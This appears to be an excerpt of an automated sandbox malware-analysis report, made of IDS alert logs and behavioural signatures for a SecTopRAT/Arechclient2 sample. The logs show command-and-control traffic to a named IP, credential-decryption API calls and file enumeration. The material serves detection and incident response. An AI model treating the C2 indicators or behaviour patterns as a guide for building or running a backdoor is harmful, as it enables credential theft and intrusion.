2024-12-17T08:40:22.441671+0100	2803305	3	Unknown Traffic	192.168.2.5	50057	92.255.57.75	9000	TCP
2024-12-17T08:40:24.008171+0100	2803305	3	Unknown Traffic	192.168.2.5	50058	92.255.57.75	9000	TCP
2024-12-17T08:40:25.566238+0100	2803305	3	Unknown Traffic	192.168.2.5	50059	92.255.57.75	9000	TCP
2024-12-17T08:40:27.131140+0100	2803305	3	Unknown Traffic	192.168.2.5	50060	92.255.57.75	9000	TCP
2024-12-17T08:40:28.694148+0100	2803305	3	Unknown Traffic	192.168.2.5	50061	92.255.57.75	9000	TCP
2024-12-17T08:40:30.258168+0100	2803305	3	Unknown Traffic	192.168.2.5	50062	92.255.57.75	9000	TCP
2024-12-17T08:40:32.009289+0100	2803305	3	Unknown Traffic	192.168.2.5	50063	92.255.57.75	9000	TCP
2024-12-17T08:40:33.625877+0100	2803305	3	Unknown Traffic	192.168.2.5	50064	92.255.57.75	9000	TCP
2024-12-17T08:40:35.173584+0100	2803305	3	Unknown Traffic	192.168.2.5	50065	92.255.57.75	9000	TCP
2024-12-17T08:40:36.993112+0100	2803305	3	Unknown Traffic	192.168.2.5	50066	92.255.57.75	9000	TCP
2024-12-17T08:40:38.549695+0100	2803305	3	Unknown Traffic	192.168.2.5	50067	92.255.57.75	9000	TCP
2024-12-17T08:40:40.188892+0100	2803305	3	Unknown Traffic	192.168.2.5	50068	92.255.57.75	9000	TCP
2024-12-17T08:40:41.741496+0100	2803305	3	Unknown Traffic	192.168.2.5	50069	92.255.57.75	9000	TCP
2024-12-17T08:40:43.307658+0100	2803305	3	Unknown Traffic	192.168.2.5	50070	92.255.57.75	9000	TCP
2024-12-17T08:40:44.862394+0100	2803305	3	Unknown Traffic	192.168.2.5	50071	92.255.57.75	9000	TCP
2024-12-17T08:40:46.437222+0100	2803305	3	Unknown Traffic	192.168.2.5	50072	92.255.57.75	9000	TCP
2024-12-17T08:40:47.994131+0100	2803305	3	Unknown Traffic	192.168.2.5	50073	92.255.57.75	9000	TCP
2024-12-17T08:40:49.672022+0100	2803305	3	Unknown Traffic	192.168.2.5	50074	92.255.57.75	9000	TCP
2024-12-17T08:40:51.235724+0100	2803305	3	Unknown Traffic	192.168.2.5	50075	92.255.57.75	9000	TCP
2024-12-17T08:40:52.787570+0100	2803305	3	Unknown Traffic	192.168.2.5	50076	92.255.57.75	9000	TCP
2024-12-17T08:40:54.420212+0100	2803305	3	Unknown Traffic	192.168.2.5	50077	92.255.57.75	9000	TCP
2024-12-17T08:40:55.973736+0100	2803305	3	Unknown Traffic	192.168.2.5	50078	92.255.57.75	9000	TCP
2024-12-17T08:40:57.569885+0100	2803305	3	Unknown Traffic	192.168.2.5	50079	92.255.57.75	9000	TCP
2024-12-17T08:40:59.276395+0100	2803305	3	Unknown Traffic	192.168.2.5	50080	92.255.57.75	9000	TCP
2024-12-17T08:41:00.835233+0100	2803305	3	Unknown Traffic	192.168.2.5	50081	92.255.57.75	9000	TCP
2024-12-17T08:41:02.398209+0100	2803305	3	Unknown Traffic	192.168.2.5	50082	92.255.57.75	9000	TCP
2024-12-17T08:41:03.960547+0100	2803305	3	Unknown Traffic	192.168.2.5	50083	92.255.57.75	9000	TCP
2024-12-17T08:41:07.084636+0100	2803305	3	Unknown Traffic	192.168.2.5	50085	92.255.57.75	9000	TCP
2024-12-17T08:41:11.813995+0100	2803305	3	Unknown Traffic	192.168.2.5	50088	92.255.57.75	9000	TCP
2024-12-17T08:41:13.378928+0100	2803305	3	Unknown Traffic	192.168.2.5	50089	92.255.57.75	9000	TCP
2024-12-17T08:41:19.632701+0100	2803305	3	Unknown Traffic	192.168.2.5	50093	92.255.57.75	9000	TCP
2024-12-17T08:41:21.202349+0100	2803305	3	Unknown Traffic	192.168.2.5	50094	92.255.57.75	9000	TCP
2024-12-17T08:41:22.778402+0100	2803305	3	Unknown Traffic	192.168.2.5	50095	92.255.57.75	9000	TCP
2024-12-17T08:41:25.892034+0100	2803305	3	Unknown Traffic	192.168.2.5	50097	92.255.57.75	9000	TCP
2024-12-17T08:41:27.457506+0100	2803305	3	Unknown Traffic	192.168.2.5	50098	92.255.57.75	9000	TCP
2024-12-17T08:41:29.064528+0100	2803305	3	Unknown Traffic	192.168.2.5	50099	92.255.57.75	9000	TCP
2024-12-17T08:41:32.158177+0100	2803305	3	Unknown Traffic	192.168.2.5	50101	92.255.57.75	9000	TCP
2024-12-17T08:41:35.378220+0100	2803305	3	Unknown Traffic	192.168.2.5	50103	92.255.57.75	9000	TCP
2024-12-17T08:41:38.552765+0100	2803305	3	Unknown Traffic	192.168.2.5	50105	92.255.57.75	9000	TCP
2024-12-17T08:41:40.112856+0100	2803305	3	Unknown Traffic	192.168.2.5	50106	92.255.57.75	9000	TCP
2024-12-17T08:41:41.677206+0100	2803305	3	Unknown Traffic	192.168.2.5	50107	92.255.57.75	9000	TCP
2024-12-17T08:41:43.239733+0100	2803305	3	Unknown Traffic	192.168.2.5	50108	92.255.57.75	9000	TCP
2024-12-17T08:41:46.362875+0100	2803305	3	Unknown Traffic	192.168.2.5	50111	92.255.57.75	9000	TCP
2024-12-17T08:41:49.500383+0100	2803305	3	Unknown Traffic	192.168.2.5	50113	92.255.57.75	9000	TCP
2024-12-17T08:41:51.055634+0100	2803305	3	Unknown Traffic	192.168.2.5	50114	92.255.57.75	9000	TCP
2024-12-17T08:41:52.630037+0100	2803305	3	Unknown Traffic	192.168.2.5	50115	92.255.57.75	9000	TCP
2024-12-17T08:41:58.896078+0100	2803305	3	Unknown Traffic	192.168.2.5	50119	92.255.57.75	9000	TCP
2024-12-17T08:42:02.024389+0100	2803305	3	Unknown Traffic	192.168.2.5	50121	92.255.57.75	9000	TCP
2024-12-17T08:42:08.311968+0100	2803305	3	Unknown Traffic	192.168.2.5	50125	92.255.57.75	9000	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:38:34.179138+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49746	188.114.97.6	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_072BA430 CryptUnprotectData,		20_2_072BA430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 20_2_072BAB78 CryptUnprotectData,		20_2_072BAB78

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 83.166.133.91:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.6:443 -> 192.168.2.5:49710 version: TLS 1.2

Source:	Binary string: wntdll.pdbUGP source: updater.exe, 00000013.00000003.2477266140.0000000004A29000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2477463421.0000000004908000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000002.2488641336.0000000004AA4000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000002.2637897629.0000000004CD4000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2627489681.0000000004B38000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2627219314.0000000004C59000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000002.2712460884.00000000053F4000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705749410.0000000005379000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705963572.0000000005258000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: updater.exe, 00000013.00000003.2477266140.0000000004A29000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2477463421.0000000004908000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000002.2488641336.0000000004AA4000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000002.2637897629.0000000004CD4000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2627489681.0000000004B38000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2627219314.0000000004C59000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000002.2712460884.00000000053F4000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705749410.0000000005379000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705963572.0000000005258000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C14005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	19_2_00C14005
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C1C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	19_2_00C1C2FF
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C1494A GetFileAttributesW,FindFirstFileW,FindClose,	19_2_00C1494A
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C1CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	19_2_00C1CD9F
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C1CD14 FindFirstFileW,FindClose,	19_2_00C1CD14
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C1F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	19_2_00C1F5D8
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C1F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	19_2_00C1F735
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C1FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	19_2_00C1FA36
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00C13CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	19_2_00C13CE2
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_01254815 FindFirstFileA,FindClose,FileTimeToLocalFileTime,FileTimeToDosDateTime,	19_2_01254815
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_01252145 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	19_2_01252145
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_0125491D FindFirstFileA,GetLastError,	19_2_0125491D

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 073FC6F1h	20_2_073FC5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 073FC6F1h	20_2_073FC5C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 0783469Bh	20_2_0783406F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 07E3F0CCh	20_2_07E3E0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 08462144h	20_2_08461CAE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then mov eax, dword ptr [ebp-28h]	20_2_08469390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 0873E081h	20_2_0873E069

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:49781 -> 92.255.57.75:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49789 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 92.255.57.75:15647 -> 192.168.2.5:49781
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49799 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49794 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49813 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49808 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49821 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49825 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49802 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49834 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49840 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49830 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49817 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49853 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49849 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49868 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49843 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49884 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49881 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49857 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49901 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49862 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49875 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49913 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49888 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49916 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49920 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49932 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49933 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49907 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49945 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49939 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49952 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49948 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49869 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49894 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49958 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49963 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49965 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49926 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:49975 -> 92.255.57.75:15647
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 92.255.57.75:15647 -> 192.168.2.5:49975
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49976 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49980 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49989 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.5:49998 -> 92.255.57.75:15647
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49999 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 92.255.57.75:15647 -> 192.168.2.5:49998
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50012 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49994 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50003 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50009 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50018 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49900 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49984 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:49969 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50023 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50028 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50032 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50037 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50042 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50045 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50051 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50056 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50057 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50058 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50060 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50059 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50061 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50062 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50063 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50064 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50065 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50066 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50067 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50068 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50069 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50070 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50071 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50072 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50073 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50074 -> 92.255.57.75:9000
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.5:50075 -> 92.255.57.75:9000
